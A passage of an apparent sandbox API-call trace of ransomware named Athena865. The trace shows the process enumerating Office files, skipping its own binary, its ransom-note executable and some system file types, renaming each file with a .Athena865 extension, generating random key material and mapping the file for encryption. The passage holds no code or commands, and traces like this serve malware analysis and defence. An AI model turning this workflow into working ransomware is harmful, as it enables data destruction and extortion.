hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.804] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.804] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.804] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.804] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.805] CloseHandle (hObject=0x17c) returned 1 [0145.805] CloseHandle (hObject=0x154) returned 1 [0145.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.805] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51dd6c00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x51dd6c00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0145.805] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.805] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.805] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLN.XLS" | out: lpString1="PROTTPLN.XLS") returned="PROTTPLN.XLS" [0145.805] lstrlenW (lpString="PROTTPLN.XLS") returned 12 [0145.805] lstrlenW (lpString="Athena865") returned 9 [0145.805] lstrcmpiW (lpString1="TTPLN.XLS", lpString2="Athena865") returned 1 [0145.805] lstrlenW (lpString=".dll") returned 4 [0145.805] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2=".dll") returned 1 [0145.805] lstrlenW (lpString=".lnk") returned 4 [0145.805] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2=".lnk") returned 1 [0145.805] lstrlenW (lpString=".ini") returned 4 [0145.806] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2=".ini") returned 1 [0145.806] lstrlenW (lpString=".sys") returned 4 [0145.806] lstrcmpiW (lpString1="PROTTPLN.XLS", lpString2=".sys") returned 1 [0145.806] lstrlenW (lpString="PROTTPLN.XLS") returned 12 [0145.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.Athena865") returned 70 [0145.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.athena865"), dwFlags=0x1) returned 1 [0145.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.807] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8704) returned 1 [0145.807] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.808] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.808] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.808] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.809] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.809] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2500, lpName=0x0) returned 0x17c [0145.810] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2500) returned 0x100000 [0145.811] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.812] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.812] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.813] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.813] CloseHandle (hObject=0x17c) returned 1 [0145.813] CloseHandle (hObject=0x154) returned 1 [0145.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1aa00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45f1aa00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0145.813] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.813] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.813] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLV.DOC" | out: lpString1="PROTTPLV.DOC") returned="PROTTPLV.DOC" [0145.813] lstrlenW (lpString="PROTTPLV.DOC") returned 12 [0145.813] lstrlenW (lpString="Athena865") returned 9 [0145.813] lstrcmpiW (lpString1="TTPLV.DOC", lpString2="Athena865") returned 1 [0145.813] lstrlenW (lpString=".dll") returned 4 [0145.813] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2=".dll") returned 1 [0145.814] lstrlenW (lpString=".lnk") returned 4 [0145.814] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2=".lnk") returned 1 [0145.814] lstrlenW (lpString=".ini") returned 4 [0145.814] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2=".ini") returned 1 [0145.814] lstrlenW (lpString=".sys") returned 4 [0145.814] lstrcmpiW (lpString1="PROTTPLV.DOC", lpString2=".sys") returned 1 [0145.814] lstrlenW (lpString="PROTTPLV.DOC") returned 12 [0145.814] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.Athena865") returned 70 [0145.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.athena865"), dwFlags=0x1) returned 1 [0145.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.DOC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.doc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.816] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19968) returned 1 [0145.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.816] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.817] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.817] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.817] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5100, lpName=0x0) returned 0x17c [0145.818] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5100) returned 0x100000 [0145.820] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.820] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.820] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.820] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.821] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.821] CloseHandle (hObject=0x17c) returned 1 [0145.821] CloseHandle (hObject=0x154) returned 1 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.822] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.823] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLV.PPT" | out: lpString1="PROTTPLV.PPT") returned="PROTTPLV.PPT" [0145.823] lstrlenW (lpString="PROTTPLV.PPT") returned 12 [0145.823] lstrlenW (lpString="Athena865") returned 9 [0145.823] lstrcmpiW (lpString1="TTPLV.PPT", lpString2="Athena865") returned 1 [0145.823] lstrlenW (lpString=".dll") returned 4 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2=".dll") returned 1 [0145.823] lstrlenW (lpString=".lnk") returned 4 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2=".lnk") returned 1 [0145.823] lstrlenW (lpString=".ini") returned 4 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2=".ini") returned 1 [0145.823] lstrlenW (lpString=".sys") returned 4 [0145.823] lstrcmpiW (lpString1="PROTTPLV.PPT", lpString2=".sys") returned 1 [0145.823] lstrlenW (lpString="PROTTPLV.PPT") returned 12 [0145.823] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.Athena865") returned 70 [0145.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.athena865"), dwFlags=0x1) returned 1 [0145.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.PPT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.ppt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.825] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12288) returned 1 [0145.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.825] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.826] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.826] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.826] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3300, lpName=0x0) returned 0x17c [0145.828] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3300) returned 0x100000 [0145.829] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.829] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.829] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.829] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.830] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.830] CloseHandle (hObject=0x17c) returned 1 [0145.830] CloseHandle (hObject=0x154) returned 1 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.831] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d18b800, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d18b800, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.831] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLV.XLS" | out: lpString1="PROTTPLV.XLS") returned="PROTTPLV.XLS" [0145.831] lstrlenW (lpString="PROTTPLV.XLS") returned 12 [0145.831] lstrlenW (lpString="Athena865") returned 9 [0145.831] lstrcmpiW (lpString1="TTPLV.XLS", lpString2="Athena865") returned 1 [0145.831] lstrlenW (lpString=".dll") returned 4 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2=".dll") returned 1 [0145.831] lstrlenW (lpString=".lnk") returned 4 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2=".lnk") returned 1 [0145.831] lstrlenW (lpString=".ini") returned 4 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2=".ini") returned 1 [0145.831] lstrlenW (lpString=".sys") returned 4 [0145.831] lstrcmpiW (lpString1="PROTTPLV.XLS", lpString2=".sys") returned 1 [0145.831] lstrlenW (lpString="PROTTPLV.XLS") returned 12 [0145.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.Athena865") returned 70 [0145.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.athena865"), dwFlags=0x1) returned 1 [0145.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLV.XLS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottplv.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.837] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8704) returned 1 [0145.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.837] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.837] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.838] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.838] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.838] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2500, lpName=0x0) returned 0x17c [0145.839] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2500) returned 0x100000 [0145.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.842] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.842] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.843] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.843] CloseHandle (hObject=0x17c) returned 1 [0145.843] CloseHandle (hObject=0x154) returned 1 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.843] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e7da00, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99e7da00, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.844] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PSRCHKEY.DAT" | out: lpString1="PSRCHKEY.DAT") returned="PSRCHKEY.DAT" [0145.844] lstrlenW (lpString="PSRCHKEY.DAT") returned 12 [0145.844] lstrlenW (lpString="Athena865") returned 9 [0145.844] lstrcmpiW (lpString1="CHKEY.DAT", lpString2="Athena865") returned 1 [0145.844] lstrlenW (lpString=".dll") returned 4 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2=".dll") returned 1 [0145.844] lstrlenW (lpString=".lnk") returned 4 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2=".lnk") returned 1 [0145.844] lstrlenW (lpString=".ini") returned 4 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2=".ini") returned 1 [0145.844] lstrlenW (lpString=".sys") returned 4 [0145.844] lstrcmpiW (lpString1="PSRCHKEY.DAT", lpString2=".sys") returned 1 [0145.844] lstrlenW (lpString="PSRCHKEY.DAT") returned 12 [0145.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHKEY.DAT.Athena865") returned 70 [0145.844] MoveFileExW 